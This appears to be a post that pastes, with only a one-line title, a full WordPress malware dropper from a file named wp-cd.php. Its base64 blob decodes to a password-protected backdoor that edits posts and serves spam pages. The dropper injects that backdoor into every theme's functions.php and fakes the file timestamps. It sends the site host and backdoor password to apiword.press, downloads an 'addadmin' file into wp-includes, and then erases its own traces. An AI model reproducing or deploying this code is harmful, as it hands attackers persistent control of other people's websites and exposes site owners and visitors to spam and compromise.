code decode base64 in wp-cd.php attack wp

//install_code

    $install_code = 'PD9waHAKCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10pICYmICgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10gPT0gJ3skUEFTU1dPUkR9JykpCgl7CgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgkJCQljYXNlICdnZXRfYWxsX2xpbmtzJzsKCQkJCQlmb3JlYWNoICgkd3BkYi0+Z2V0X3Jlc3VsdHMoJ1NFTEVDVCAqIEZST00gYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBXSEVSRSBgcG9zdF9zdGF0dXNgID0gInB1Ymxpc2giIEFORCBgcG9zdF90eXBlYCA9ICJwb3N0IiBPUkRFUiBCWSBgSURgIERFU0MnLCBBUlJBWV9BKSBhcyAkZGF0YSkKCQkJCQkJewoJCQkJCQkJJGRhdGFbJ2NvZGUnXSA9ICcnOwoJCQkJCQkJCgkJCQkJCQlpZiAocHJlZ19tYXRjaCgnITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAkZGF0YVsncG9zdF9jb250ZW50J10sICRfKSkKCQkJCQkJCQl7CgkJCQkJCQkJCSRkYXRhWydjb2RlJ10gPSAkX1sxXTsKCQkJCQkJCQl9CgkJCQkJCQkKCQkJCQkJCXByaW50ICc8ZT48dz4xPC93Pjx1cmw+JyAuICRkYXRhWydndWlkJ10gLiAnPC91cmw+PGNvZGU+JyAuICRkYXRhWydjb2RlJ10gLiAnPC9jb2RlPjxpZD4nIC4gJGRhdGFbJ0lEJ10gLiAnPC9pZD48L2U+JyAuICJcclxuIjsKCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWNhc2UgJ3NldF9pZF9saW5rcyc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnZGF0YSddKSkKCQkJCQkJewoJCQkJCQkJJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgYHBvc3RfY29udGVudGAgRlJPTSBgJyAuICR3cGRiLT5wcmVmaXggLiAncG9zdHNgIFdIRVJFIGBJRGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnaWQnXSkuJyInKTsKCQkJCQkJCQoJCQkJCQkJJHBvc3RfY29udGVudCA9IHByZWdfcmVwbGFjZSgnITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAnJywgJGRhdGEgLT4gcG9zdF9jb250ZW50KTsKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWydkYXRhJ10pKSAkcG9zdF9jb250ZW50ID0gJHBvc3RfY29udGVudCAuICc8ZGl2IGlkPSJ3cF9jZF9jb2RlIj4nIC4gc3RyaXBjc2xhc2hlcygkX1JFUVVFU1RbJ2RhdGEnXSkgLiAnPC9kaXY+JzsKCgkJCQkJCQlpZiAoJHdwZGItPnF1ZXJ5KCdVUERBVEUgYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBTRVQgYHBvc3RfY29udGVudGAgPSAiJyAuIG15c3FsX2VzY2FwZV9zdHJpbmcoJHBvc3RfY29udGVudCkgLiAnIiBXSEVSRSBgSURgID0gIicgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnaWQnXSkgLiAnIicpICE9PSBmYWxzZSkKCQkJCQkJCQl7CgkJCQkJCQkJCXByaW50ICJ0cnVlIjsKCQkJCQkJCQl9CgkJCQkJCX0KCQkJCWJyZWFrOwoJCQkJCgkJCQljYXNlICdjcmVhdGVfcGFnZSc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsncmVtb3ZlX3BhZ2UnXSkpCgkJCQkJCXsKCQkJCQkJCWlmICgkd3BkYiAtPiBxdWVyeSgnREVMRVRFIEZST00gYCcgLiAkd3BkYi0+cHJlZml4IC4gJ2RhdGFsaXN0YCBXSEVSRSBgdXJsYCA9ICIvJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciJykpCgkJCQkJCQkJewoJCQkJCQkJCQlwcmludCAidHJ1ZSI7CgkJCQkJCQkJfQoJCQkJCQl9CgkJCQkJZWxzZWlmIChpc3NldCgkX1JFUVVFU1RbJ2NvbnRlbnQnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsnY29udGVudCddKSkKCQkJCQkJewoJCQkJCQkJaWYgKCR3cGRiIC0+IHF1ZXJ5KCdJTlNFUlQgSU5UTyBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFNFVCBgdXJsYCA9ICIvJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciLCBgdGl0bGVgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ3RpdGxlJ10pLiciLCBga2V5d29yZHNgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2tleXdvcmRzJ10pLiciLCBgZGVzY3JpcHRpb25gID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Rlc2NyaXB0aW9uJ10pLiciLCBgY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnY29udGVudCddKS4nIiwgYGZ1bGxfY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZnVsbF9jb250ZW50J10pLiciIE9OIERVUExJQ0FURSBLRVkgVVBEQVRFIGB0aXRsZWAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndGl0bGUnXSkuJyIsIGBrZXl3b3Jkc2AgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsna2V5d29yZHMnXSkuJyIsIGBkZXNjcmlwdGlvbmAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZGVzY3JpcHRpb24nXSkuJyIsIGBjb250ZW50YCA9ICInLm15c3FsX2VzY2FwZV9zdHJpbmcodXJsZGVjb2RlKCRfUkVRVUVTVFsnY29udGVudCddKSkuJyIsIGBmdWxsX2NvbnRlbnRgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Z1bGxfY29udGVudCddKS4nIicpKQoJCQkJCQkJCXsKCQkJCQkJCQkJcHJpbnQgInRydWUiOwoJCQkJCQkJCX0KCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWRlZmF1bHQ6IHByaW50ICJFUlJPUl9XUF9BQ1RJT04gV1BfVVJMX0NEIjsKCQkJfQoJCQkKCQlkaWUoIiIpOwoJfQoKCQppZiAoICR3cGRiLT5nZXRfdmFyKCdTRUxFQ1QgY291bnQoKikgRlJPTSBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFdIRVJFIGB1cmxgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZyggJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gKS4nIicpID09ICcxJyApCgl7CgkJJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgKiBGUk9NIGAnIC4gJHdwZGItPnByZWZpeCAuICdkYXRhbGlzdGAgV0hFUkUgYHVybGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4nIicpOwoJCWlmICgkZGF0YSAtPiBmdWxsX2NvbnRlbnQpCgkJCXsKCQkJCXByaW50IHN0cmlwc2xhc2hlcygkZGF0YSAtPiBjb250ZW50KTsKCQkJfQoJCWVsc2UKCQkJewoJCQkJcHJpbnQgJzwhRE9DVFlQRSBodG1sPic7CgkJCQlwcmludCAnPGh0bWwgJzsKCQkJCWxhbmd1YWdlX2F0dHJpYnV0ZXMoKTsKCQkJCXByaW50ICcgY2xhc3M9Im5vLWpzIj4nOwoJCQkJcHJpbnQgJzxoZWFkPic7CgkJCQlwcmludCAnPHRpdGxlPicuc3RyaXBzbGFzaGVzKCRkYXRhIC0+IHRpdGxlKS4nPC90aXRsZT4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IktleXdvcmRzIiBjb250ZW50PSInLnN0cmlwc2xhc2hlcygkZGF0YSAtPiBrZXl3b3JkcykuJyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IkRlc2NyaXB0aW9uIiBjb250ZW50PSInLnN0cmlwc2xhc2hlcygkZGF0YSAtPiBkZXNjcmlwdGlvbikuJyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0iaW5kZXgsIGZvbGxvdyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIGNoYXJzZXQ9Iic7CgkJCQlibG9naW5mbyggJ2NoYXJzZXQnICk7CgkJCQlwcmludCAnIiAvPic7CgkJCQlwcmludCAnPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCI+JzsKCQkJCXByaW50ICc8bGluayByZWw9InByb2ZpbGUiIGhyZWY9Imh0dHA6Ly9nbXBnLm9yZy94Zm4vMTEiPic7CgkJCQlwcmludCAnPGxpbmsgcmVsPSJwaW5nYmFjayIgaHJlZj0iJzsKCQkJCWJsb2dpbmZvKCAncGluZ2JhY2tfdXJsJyApOwoJCQkJcHJpbnQgJyI+JzsKCQkJCXdwX2hlYWQoKTsKCQkJCXByaW50ICc8L2hlYWQ+JzsKCQkJCXByaW50ICc8Ym9keT4nOwoJCQkJcHJpbnQgJzxkaXYgaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLWNvbnRlbnQiPic7CgkJCQlwcmludCBzdHJpcHNsYXNoZXMoJGRhdGEgLT4gY29udGVudCk7CgkJCQlnZXRfc2VhcmNoX2Zvcm0oKTsKCQkJCWdldF9zaWRlYmFyKCk7CgkJCQlnZXRfZm9vdGVyKCk7CgkJCX0KCQkJCgkJZXhpdDsKCX0KCgo/Pg==';

    $install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
    $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));

    if ($wpdb -> query('CREATE TABLE IF NOT EXISTS `' . $wpdb->prefix . 'datalist` ( `url` varchar(255) NOT NULL, `title` varchar(255) NOT NULL, `keywords` varchar(255) NOT NULL, `description` varchar(255) NOT NULL, `content` longtext NOT NULL, `full_content` smallint(6) NOT NULL, PRIMARY KEY (`url`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;'))
        {
            $themes = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';

            $ping = true;

            if ($list = scandir( $themes ))
                {
                    foreach ($list as $_)
                        {
                            if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                {
                                    $time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');

                                    if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
                                        {
                                            if (strpos($content, 'WP_URL_CD') === false)
                                                {
                                                    $content = $install_code . $content ;
                                                    @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
                                                    touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
                                                }
                                            else
                                                {
                                                    $ping = false;
                                                }
                                        }

                                }
                        }

                    if ($ping) {
                        $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
                        @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
                    }
                }
        }

    if ($file = @file_get_contents(__FILE__))
        {
            $file = preg_replace('!//install_code.*//install_code_end!s', '', $file);
            $file = preg_replace('!<\?php\s*\?>!s', '', $file);
            @file_put_contents(__FILE__, $file);
        }

//install_code_end

?><?php error_reporting(0);?>